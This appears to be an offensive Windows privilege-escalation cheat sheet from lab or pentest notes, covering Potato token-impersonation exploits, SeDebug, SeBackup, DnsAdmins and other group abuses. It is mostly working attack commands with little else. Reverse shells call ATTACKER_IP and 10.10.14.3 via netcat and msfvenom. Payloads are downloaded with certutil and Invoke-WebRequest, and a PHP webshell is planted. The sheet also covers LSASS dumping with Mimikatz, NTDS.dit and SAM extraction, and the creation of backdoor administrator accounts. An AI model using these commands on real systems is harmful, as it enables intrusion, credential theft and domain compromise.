Windows Privilege Abuse

Recovered Local Admin Credentials

If you recover a valid local administrator password from configs, application storage, or credential hunting, use runas from a real cmd.exe prompt to start a process as that user.

Start a listener:

nc -nlvp 9001

From the target in cmd.exe:

runas /user:Administrator "nc.exe -e cmd.exe ATTACKER_IP 9001"

Enter the recovered password when prompted:

Enter the password for Administrator:
Attempting to start nc.exe -e cmd.exe ATTACKER_IP 9001 as user "HOSTNAME\Administrator" ...

Successful callback:

connect to [ATTACKER_IP] from (UNKNOWN) [TARGET]
Microsoft Windows [Version 10.0.19044.1645]
C:\WINDOWS\system32>

Notes:

• Run it from cmd.exe; this path may fail or behave differently from a PowerShell prompt.

• This requires an interactive password prompt. If you cannot interact with the prompt, use another credentialed execution path such as SMB/WinRM tooling when available.

• Confirm the spawned context with whoami /all.

SeImpersonate / SeAssignPrimaryToken

Overview

• Service accounts (IIS, MSSQL, etc.) often have SeImpersonatePrivilege

• Allows impersonating a privileged account such as NT AUTHORITY\SYSTEM

• "Potato" style attacks trick a SYSTEM process into connecting to our process, handing over its token

Check for the Privilege

whoami /priv

• Look for SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege

JuicyPotato (< Windows Server 2019 / Win10 1809)

JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 8443 -e cmd.exe" -t *

PrintSpoofer (Windows Server 2019+ / Win10 1809+)

PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"

If PrintSpoofer finds SeImpersonatePrivilege but fails or times out, try another Potato family exploit instead of assuming the privilege is unusable.

XAMPP Apache webshell to SYSTEM

If a Windows XAMPP target lets a low-privileged user write into the web root, plant a PHP webshell to pivot into the Apache service account and check its token privileges.

Use C:\xampp\htdocs directly if /uploads is periodically moved or cleaned:

cd C:\xampp\htdocs
Invoke-WebRequest -Uri http://ATTACKER_IP:8000/simple-backdoor.php -UseBasicParsing -OutFile simple-backdoor.php

Confirm the Apache context and SeImpersonatePrivilege through the webshell:

http://TARGET/simple-backdoor.php?cmd=whoami
craft\apache

http://TARGET/simple-backdoor.php?cmd=whoami /all
SeImpersonatePrivilege        Impersonate a client after authentication Enabled

Create a reverse shell payload, then upload it and PrintSpoofer into htdocs:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=80 -f exe -o shell.exe

Invoke-WebRequest -Uri http://ATTACKER_IP:8000/shell.exe -UseBasicParsing -OutFile C:\xampp\htdocs\shell.exe
Invoke-WebRequest -Uri http://ATTACKER_IP:8000/PrintSpoofer64.exe -UseBasicParsing -OutFile C:\xampp\htdocs\PrintSpoofer64.exe

Start a listener, then trigger PrintSpoofer from the Apache context:

C:\xampp\htdocs\PrintSpoofer64.exe -c "C:\xampp\htdocs\shell.exe"

Successful shell:

connect to [ATTACKER_IP] from (UNKNOWN) [TARGET] PORT
whoami
nt authority\system

GodPotato

GodPotato.exe -cmd "cmd.exe /c C:\path\to\shell.exe"
GodPotato.exe -cmd "cmd.exe /c net user admin admin123 /add"
GodPotato.exe -cmd "cmd.exe /c net localgroup Administrators admin /add"

Good indicators:

CurrentUser: NT AUTHORITY\NETWORK SERVICE
Find System Token : True
CurrentUser: NT AUTHORITY\SYSTEM
process start with pid <pid>

GodPotato service payload

If a direct reverse payload starts but dies, use GodPotato to create and start a service that runs as LocalSystem.

Create a service executable:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=80 -f exe-service -o service.exe

Stage a service creation script in the same writable directory as the payload:

certutil.exe -urlcache -f http://ATTACKER_IP:8000/service.exe service.exe

echo 'sc create "meter" binPath= "C:\Windows\System32\spool\drivers\color\service.exe"' > service.bat
echo 'net start meter' >> service.bat
# check 
cat service.bat

Run the script through GodPotato:

GodPotato.exe -cmd "cmd /c C:\Windows\System32\spool\drivers\color\service.bat"

Successful output:

CurrentUser: NT AUTHORITY\NETWORK SERVICE
Find System Token : True
CurrentUser: NT AUTHORITY\SYSTEM
[SC] CreateService SUCCESS
The meter service is starting
Meterpreter session opened

PrintNotifyPotato

Use the .NET 4.6 build when available:

PrintNotifyPotato-NET46.exe whoami

Successful indicators:

Create PrintNotify Success!
Got Token
CurrentUser: NT AUTHORITY\SYSTEM
DuplicateTokenEx Success!
process start with pid <pid>

SigmaPotato

SigmaPotato can run privileged account-management commands:

SigmaPotato.exe "net user ice-wzl Lab123 /add"
SigmaPotato.exe "net localgroup Administrators ice-wzl /add"
SigmaPotato.exe "reg add HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f"

Then authenticate remotely with the new local admin:

impacket-psexec ice-wzl:'Lab123'@TARGET

RoguePotato

• Alternative to JuicyPotato for newer Windows versions

• https://github.com/antonioCoco/RoguePotato

Common Scenario: MSSQL xp_cmdshell

mssqlclient.py sql_dev@10.129.43.30 -windows-auth

enable_xp_cmdshell
xp_cmdshell whoami /priv
xp_cmdshell c:\tools\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.14.3 8443 -e cmd"

SeDebugPrivilege

Overview

• Allows attaching to or opening any process, even those owned by SYSTEM

• Often assigned to developers for debugging

• Can dump LSASS for credential theft or spawn a SYSTEM child process

Dump LSASS with ProcDump

procdump.exe -accepteula -ma lsass.exe lsass.dmp

Extract Hashes with Mimikatz

mimikatz # log
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords

Alternative: Task Manager LSASS Dump

• Details tab > right-click lsass.exe > "Create dump file"

• Download and process offline with Mimikatz

RCE as SYSTEM via Parent Process

• Use psgetsys.ps1 to spawn a child process inheriting a SYSTEM parent token

• Target winlogon.exe (runs as SYSTEM)

[MyProcess]::CreateProcessFromParent((Get-Process lsass).Id, "C:\Windows\System32\cmd.exe", "")

SeTakeOwnershipPrivilege

Overview

• Grants ability to take ownership of any securable object (files, folders, registry, services)

• Can read protected files by taking ownership then modifying ACLs

Enable the Privilege

Import-Module .\Enable-Privilege.ps1
.\EnableAllTokenPrivs.ps1

Take Ownership and Read File

takeown /f "C:\Department Shares\Private\IT\cred.txt"
icacls "C:\Department Shares\Private\IT\cred.txt" /grant htb-student:F
type "C:\Department Shares\Private\IT\cred.txt"

Interesting Files to Target

c:\inetpub\wwwroot\web.config
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav

SeBackupPrivilege (Backup Operators Group)

Overview

• Allows traversing any folder and copying files regardless of ACLs

• Must use FILE_FLAG_BACKUP_SEMANTICS flag (not standard copy)

• Members can log in locally to Domain Controllers

Enable and Use

Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege
Copy-FileSeBackupPrivilege 'C:\Confidential\2021 Contract.txt' .\Contract.txt

Copy NTDS.dit from Domain Controller

diskshadow.exe
> set verbose on
> set metadata C:\Windows\Temp\meta.cab
> set context clientaccessible
> set context persistent
> begin backup
> add volume C: alias cdrive
> create
> expose %cdrive% E:
> end backup
> exit

Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit

reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV

Extract Hashes

secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL

Import-Module .\DSInternals.psd1
$key = Get-BootKey -SystemHivePath .\SYSTEM
Get-ADDBAccount -DistinguishedName 'CN=administrator,CN=users,DC=inlanefreight,DC=local' -DBPath .\ntds.dit -BootKey $key

Domain Admin diskshadow

When you are a domain administrator already and want to get all hashes via diskshadow

diskshadow.exe
set verbose on
set metadata C:\Windows\Temp\meta.cab
set context clientaccessible
set context persistent
begin backup
add volume C: alias cdrive
create
expose %cdrive% E:
end backup
exit

dir E:\Windows\NTDS\ntds.dit
copy E:\Windows\NTDS\ntds.dit \\TSCLIENT\tools\ntds.dit
reg save HKLM\SYSTEM SYSTEM.SAV
copy SYSTEM.sav \\TSCLIENT\tools\SYSTEM.sav
impacket-secretsdump -ntds ntds.dit -system SYSTEM.sav LOCAL

Robocopy Alternative

robocopy /B E:\Windows\NTDS .\ntds ntds.dit

Event Log Readers Group

• Members can read Security event logs

• If process command line auditing is enabled (Event ID 4688), may find passwords in logs

wevtutil qe Security /rd:true /f:text | Select-String "/user"
Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Value -like '*/user*'} | Select-Object @{name='CommandLine';expression={ $_.Properties[8].Value }}

DnsAdmins Group

Attack: Load Malicious DLL via DNS Service

msfvenom -p windows/x64/exec cmd='net group "domain admins" netadm /add /domain' -f dll -o adduser.dll

dnscmd.exe /config /serverlevelplugindll C:\Users\netadm\Desktop\adduser.dll
sc stop dns
sc start dns

Cleanup

reg delete \\10.129.43.9\HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll
sc start dns

WPAD Record Attack (Alternative)

Set-DnsServerGlobalQueryBlockList -Enable $false -ComputerName dc01.inlanefreight.local
Add-DnsServerResourceRecordA -Name wpad -ZoneName inlanefreight.local -ComputerName dc01.inlanefreight.local -IPv4Address 10.10.14.3

Print Operators Group (SeLoadDriverPrivilege)

• Can load vulnerable kernel drivers (e.g., Capcom.sys)

reg add HKCU\System\CurrentControlSet\CAPCOM /v ImagePath /t REG_SZ /d "\??\C:\Tools\Capcom.sys"
reg add HKCU\System\CurrentControlSet\CAPCOM /v Type /t REG_DWORD /d 1
EnableSeLoadDriverPrivilege.exe
.\ExploitCapcom.exe

• Automate with EoPLoadDriver: EoPLoadDriver.exe System\CurrentControlSet\Capcom c:\Tools\Capcom.sys

• Note: Not exploitable since Windows 10 Version 1803

Server Operators Group

• Members have SERVICE_ALL_ACCESS on many services

• Can modify service binary path and restart services

sc config AppReadiness binpath= "cmd /c net localgroup Administrators server_adm /add"
sc start AppReadiness

Hyper-V Administrators

• Full access to all Hyper-V features

• If DCs are virtualized, consider them Domain Admins

• Can clone live DC, mount virtual disk offline, extract NTDS.dit